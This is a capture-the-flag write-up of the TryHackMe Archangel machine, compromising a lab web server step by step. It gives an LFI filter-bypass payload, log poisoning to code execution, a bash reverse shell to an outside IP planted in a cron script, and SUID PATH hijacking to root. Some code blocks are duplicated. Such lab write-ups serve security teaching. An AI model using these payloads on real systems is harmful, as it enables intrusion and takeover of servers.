October 13, 2026
TryHackMe | Archangel — THM CTF

By mr.root
7 min read
We must scan the target IP's ports to get to know the target system first. I prefer rustscan because of it's speed. After determining which ports are open by rustscan, I scan those ports in detail by nmap to make the scan more accurate and detailed. By checking the service versions we covered in nmap we see that those are not vulnerable versions and we understand that we need to pwn the system with another way. Let's enumerate the web side!
By enumerating the web side with Gobuster we find some spicy-looking stuff(in the /flags folder). We check them to get the first flag but instead we get Rickrolled :D
By checking the website manually for a while we realise that it is a static website which doesn't contain anything useful except one thing. We see that they use the word "Mafialive" a lot than usual, also their support mail is support@mafialive.thm.
The first question was also asking us a different hostname. We get a lil suspicious. Web Servers(Apache/Nginx) may contain several websites in the same IP Address and they decide which one to show according to the "Host-Header" information in coming request. We can try to edit our /etc/hosts file by adding the website's IP Address with it's hostname (mafialive.thm in this scenerio) and try to go forward for that hostname to check if target IP has a secret website or not. Let's give it a try!
After going to http://mafialive.thm address we see that it really worked!
We cover the first two questions' answers by that.
1)Find a different hostname -> mafiactive.thm
2)Find flag 1 -> thm{f0und_th3_r1ght_h0st_n4m3}
After getting the hostname we should enumerate that because it is indexed separetly itself. It can have the same IP Address but still it is a separate website as a result.
When we enumerate it via Gobuster with common.txt we don't find much thing except robots.txt(You can find secret file directly by using a larger wordlist tho) but when we checked robots.txt we see /test.php in Disallowed files. Probably developers added test.php in the development phase, also added in Disallowed part for robots.txt as well for Search Engine Crawlers to not read that content but forgot to remove it when it came to production phase. This happens a lot in real-life scenarios, files like robots.txt and sitemap.xml may contain valuable credentials and informations themselves.
3)Look for a page under development -> test.php
When we go for test.php we see that test.php gets the full pathway of the file it shows via view parameter. It might have LFI vulnerability. LFI(Local File Inclusion in long) is the vulnerability which allows attackers to read the contents of the specified file in the target server.
If we can read test.php file, we can understand the code's structure and try to find a way to bypass it much easier. Luckily we have a feature in php that allows us to read the source code in base64 form by not executing it, which is called Wrapper technique.
Payload we will use: php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
As a result we have test.php file's source code fully printed in Base64 form.
We can decode this by a Base64 decoder website(like https://www.base64decode.org) or we can decode in terminal with "echo 'base64_you_wanna_decode' | base64 -d" command.
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{explo1t1ng_lf1}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html><!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{explo1t1ng_lf1}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>4)Find flag 2 -> thm{explo1t1ng_lf1}
When examine the code in detail, we see that using "../.." is not allowed in the pathway and using "/var/www/html/development_testing" is mandatory. Normally we would bypass it with a payload like "/var/www/html/development_testing/../../../../etc/passwd" but "../.." is blacklisted. Luckily we know that "../.." and "..//.." mean the same thing in Linux, UNIX and Windows Operating Systems. We can use "/var/www/html/development_testing/..//..//..//..//..//etc//passwd" and it would do same as before.
✅True Payload: "/var/www/html/development_testing/..//..//..//..//..//etc//passwd"
❌Wrong Payload: "/var/www/html/development_testing/../../../../../etc/passwd"
../.. 🟰 ..//.. 🟰 ..///.. 🟰 ../////////////////.. -> Logically and Functionally Equivalent
I tried RFI as well but unfortunately system is secured against RFI. We can try a simpler way to turn LFI into RCE. Web Servers always keep logs for activities happened during the production environment(sometimes for test and development environment as well). Those record are being kept in several logs such as access.log, auth.log, error.log etc. We will be using access.log for our operation in this case because it keeps all of the operations done in itself.
Our logic is simply adding php code into access.log and whenever we read the output of access.log, it will first execute the php code and then print it's result. To add the php code to our request we need to know which headers, components are stored in access.log from the coming requests. To do that so, we will use Burp Suite Repeater.
We see that User-Agent is also recorded in access.log, we can manipulate it. User-Agent is actually a perfect options for us because it is always recorded in all logs(for both Apache and Nginx), it doesn't have any character limitation, gets processed in raw text and usually bypasses Application Layer filters and directly writes on logs.
Now revise the URL parameter and User-Agent, it will become RCE.
You can get the PHP Reverse Shell script to from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php and upload it to the server. After you successfully uploaded it go with http://mafialive.thm/shell.php URL and get your shell as www-data user.
After you get any shell, you can stabilize it with some moves: 1 - Execute the command python3 -c "import pty;pty.spawn('/bin/bash')"; 2 - Ctrl + Z and background the process, then execute stty raw -echo;fg 3 - Execute the command export TERM=xterm
By those steps you will have a stable and strong shell session. They are STRONGLY RECOMMENDED TODOs for every shell session you get.
After getting the shell we can get the first user flag which is: 5)Get a shell and find the user flag -> thm{lf1_t0_rc3_1s_tr1cky}
After getting to server we need to look for ways to escalate our privileges. We check for crontab first and catch something suspicious.
We see that anyone can write on the helloworld.sh and it gets executed by the user archangel every minute. If we write a reverse shell bash command on it, we can get a shell as archangel easily. I added "sh -i >& /dev/tcp/192.168.193.68/4444 0>&1" at the end of helloworld.sh(Don't forget to change the ip address and port according to yourself). After waiting a minute we get shell as the user archangel.
By getting this shell we can obtain the user2 flag, which is: 5)Get User 2 flag -> thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
When we check the files in secret folder we see that there is an elf file called backup with SUID permissions which means that it gets executed with root privileges. To check the file we use "strings" command because it is a binary file, so "cat" command wouldn't show us file completely.
After checking the content of backup, we see that it copies some files to another directory by using "cp" command. Luckily it didn't use the Absolute Path and use it directly(which means it uses the Relative Path in $PATH environment variable). This allows us for PATH Manipulation.
o explain the $PATH variable shortly, we can say that it is used in Relative Paths which means that if it is used somewhere(by not specified it's Absolute Path) it uses the order in $PATH to check for files/binaries to execute that command. Normally the usual "cp" command is in /bin/cp but as mentioned if $PATH is changed and add a file "cp" which contains malicious content to the place which has higher priority, system would use the one with higher priority(which is the manipulated malicious one).
As mentioned before, we manipulated PATH variable. We added ".:" to the start which means that whenever something is called, system will look for the current directory first. You can change this value however you like but don't forget that it will have different priority according to your changes.
Now create a file named cp in your folder(which is the folder /secret now) and write this content inside of it:
#!/bin/bash
/bin/bash -p#!/bin/bash
/bin/bash -pAfter that execute "chmod +x cp" to give it permissions to get executed. After that execute the file backup and get root access.
Finally capture the last flag and complete the challenge. 6)Root the machine and find the root flag -> thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}